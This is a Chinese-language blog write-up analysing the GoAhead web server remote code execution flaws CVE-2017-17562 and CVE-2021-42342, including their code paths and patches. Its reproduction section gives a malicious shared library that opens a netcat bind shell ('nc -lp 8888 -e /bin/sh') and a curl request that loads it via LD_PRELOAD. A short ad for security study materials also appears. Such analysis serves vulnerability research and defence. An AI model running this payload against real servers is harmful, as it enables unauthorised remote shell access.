一、前言
1.1 下載地址
二、CVE-2017-17562
2.1 漏洞分析
cve-2017-17562遠程命令執行漏洞影響Goahead 2.5.0到Goahead 3.6.5之間的版本。在cgiHandler函數中,將用戶的HTTP請求參數作為環境變量,通過諸如LD_PRELOAD即可劫持進程的動態鏈接庫,實現遠程代碼執行。
2.2 代碼分析
漏洞成因位于cgiHandler函數中。代碼首先拼接出用戶請求的cgi完整路徑并賦予cgiPath,然后檢查此文件是否存在以及是否為可執行文件。隨后就是存在漏洞的關鍵代碼處,如下圖所示:
代碼將用戶請求的參數存入環境變量數組envp中,但是不能為REMOTE_HOST和HTTP_AUTHORIZATION。從這里不難看出黑名單的過濾非常有限,這也為攻擊者提供了利用點。 如下圖所示代碼繼續往下執行,將webGetCgiCommName函數的返回值保存在stdIn與stdOut中,此函數將返回一個默認路徑位于/tmp文件名格式cgi-*.tmp的絕對路徑字符串。 隨后代碼將cgiPath、envp、stdIn與stdOut作為參數傳入launchCgi函數中。
PUBLIC char *websGetCgiCommName()
{
return websTempFile(NULL, "cgi");
}
PUBLIC char *websTempFile(char *dir, char *prefix)
{
static int count = 0;
char sep;
sep = '/';
if (!dir || *dir == '') {
#if WINCE
dir = "/Temp";
sep = '\';
#elif ME_WIN_LIKE
dir = getenv("TEMP");
sep = '\';
#elif VXWORKS
dir = ".";
#else
dir = "/tmp";
#endif
}
if (!prefix) {
prefix = "tmp";
}
return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}
進入launchCgi函數,根據注釋可知此函數為cgi啟動函數。代碼首先打開了兩個tmp文件,隨后fork子進程并在子進程中將標準輸入與標準輸出重定向到兩個打開的文件描述符上,最后調用execve函數在子進程中執行cgi程序。
至此漏洞相關代碼分析完畢,代碼在執行execve函數時將cgiHandler函數解析的envp數組作為第三個參數傳入,攻擊者可以在請求參數時通過LD_PRELOAD環境變量配合代碼重定向后/proc/self/fd/0指向POST數據實現動態鏈接庫的劫持。
【----幫助網安學習,以下所有學習資料關注我,私信回復“資料”獲取----】
① 網安學習成長路徑思維導圖
?、?60+網安經典常用工具包
?、?100+SRC漏洞分析報告
?、?150+網安攻防實戰技術電子書
?、?最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
?、?App客戶端安全檢測指南(Android/ target=_blank class=infotextkey>安卓+IOS)
2.3 漏洞復現
下載編譯并通過gdb運行存在漏洞的Goahead程序(3.6.4)
git clone https://github.com/embedthis/goahead.git
cd goahead
make
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
sudo gdb ../build/linux-x64-default/bin/goahead
編寫惡意動態鏈接庫,代碼以及編譯命令如下所示:
#include <stdio.h>
#include <stdlib.h>
static void main(void) __attribute__((constructor));
static void main(void) {
system("nc -lp 8888 -e /bin/sh");
}
// gcc --shared -fPIC poc.c -o poc.so
構造HTTP請求發送
curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
斷點下在execve函數處,此時內存情況如下圖所示,envp數組中存在我們注入的惡意環境變量LD_PRELOAD并指向/proc/self/fd/0文件。在代碼分析中我們了解到,launchCgi函數會在子進程中將標準輸入輸出重定向到cgi-*.tmp的文件描述符,而根據以往的經驗POST數據會作為cgi的標準輸入,也就是說此時/proc/self/fd/0所指向的正是我們的惡意文件poc.so,當execve函數執行時,即可劫持進程動態鏈接庫實現RCE。
2.4 補丁分析
首先是在cgiHandler函數中添加了更加完整的過濾檢測,使得LD_開頭的字符串無法寫入envp數組。
其次是增加了一層if判斷,當s-arg不為0時進行字符串拼接。根據索引找到s-arg的賦值語句位于addFormVars函數中,此函數是Goahead處理content-type為
application/x-www-form-urlencoded的HTTP請求時會調用。
三、cve-2021-42342
3.1 漏洞分析
cve-2021-42342遠程命令執行漏洞影響Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的補丁時我們了解到新版的程序對黑名單的完整性上做了優化,然而在4.X版本中增加了一句strim函數對用戶參數的處理,如下圖所示:
進入這個函數,當第二個參數為0時return 0。因為開發人員對于strim函數使用規范的錯誤使得針對cve-2017-17562的黑名單完善形同虛設。
上文在對cve-2017-17562補丁進行分析時曾經提到,s-arg在addFormVars函數中賦值為1,為了實現環境變量注入則必須使s-arg為0,繞過的方式也很簡單令header中content-type為multipart/form-data即可。
后續利用方式與cve-2017-17562相同,筆者就不做重復分析了。
3.2 代碼分析
為了更好的了解漏洞的完整執行流程,這里筆者針對Goahead處理Http的機制進行深入分析,其中不對的地方歡迎師傅們指正。 在Goahead進行啟動后會執行websServer函數進行初始化操作。其中websOpen函數對route.txt文件進行解析,關于route處理可以看一下layty師傅的文章。
websOpen函數會根據配置啟動相應的代碼模塊
其中關于cgi請求的回調函數通過websDefineHandler函數定義。
websOpen函數執行完畢后返回websServer函數并調用websListen啟動HTTP服務。代碼如下所示,當接收到HTTP請求時調用回調函數websAccept函數進行處理。
在websAccept函數中調用websAlloc函數為請求分配內存地址,添加入webs列表中。
?
其中websAlloc函數調用initWebs函數對Webs結構體進行初始化。
此時Goahead完成了對Http請求的初始化操作,而針對Http請求的處理工作則是通過執行websAccept->socketEvent->readEvent完成響應的
調用websRead函數將數據寫入到wp->rxbuf緩沖區中,隨后執行websPump函數。如下圖所示,在Goahead中將HTTP的處理流程分為了五個狀態,每個狀態由不同的函數進行配置和處理工作。
3.2.1 WEBS_BEGIN
WEBS_BEGIN階段由parseIncoming函數負責處理,代碼如下圖所示。其中我們需要重點關注調用的三個函數parseFirstLine、parseHeaders、websRouteRequest函數。? parseFirstLine函數負責將請求的類型、url、協議版本和請求參數保存在wp結構體中
parseHeaders函數負責對請求頭進行解析,其中對請求頭中content-type鍵處理流程如下圖所示。為了滿足漏洞的觸發條件s->arg為0,所以我們需要繞過addFormVars函數,即請求頭content-type為multipart/form-data。
函數用于確定HTTP請求的處理函數。通過url路徑與route->prefix進行比較確定最終處理函數,并將結果保存在wp->route中。其中routes數組保存了route.txt文件解析后,所有處理函數的相關數據。
調用websGetCgiCommName函數創建文件名格式為cgi-*.tmp的臨時文件用于保存POST數據。
3.2.2 WEBS_CONTENT
返回websPump函數,隨后調用processContent函數。函數部分代碼如下所示,其中filterChunkData函數檢測數據是否全部處理完畢,websProcessUploadData函數為處理上傳文件的函數。
進入函數后可以看到上傳操作被分為五個狀態,每種狀態由專門的函數負責處理,如下圖所示。? initUpload函數切換wp->uploadState狀態為initUpload,初始化上傳路徑并確定上傳請求邊界符。? processContentBoundary函數判斷數據是否已經處理完畢,若是則將狀態切換為UPLOAD_CONTENT_END,若還有數據未處理完成則切換狀態為UPLOAD_CONTENT_HEADER。? processUploadHeader函數通過調用websTempFile函數創建用于暫存上傳數據的臨時文件,文件名格式/tmp/tmp-*.tmp,將臨時文件的文件描述符保存在wp->upfd中。? processContentData函數調用writeToFile函數將上傳的數據保存在臨時文件中,并修改上傳狀態為UPLOAD_BOUNDARY判斷數據是否上傳完畢。
當全部數據處理完畢后wp->eof置1,wp->state狀態更改為WEBS_READY。? 返回processContent函數后繼續執行,調用websProcessCgiData函數將POST數據保存在臨時文件cgi-*.tmp中
3.2.3 WEBS_READY
程序流程返回websPump函數后,在WEBS_READY階段調用websRunRequest函數,此函數主要負責切換wp->state為WEBS_RUNNING,并調用cgiHandler函數。
在代碼執行到漏洞位置時,s->arg值為零完成繞過。后續的利用原理與cve-2017-17562類似,這里就不過多贅述。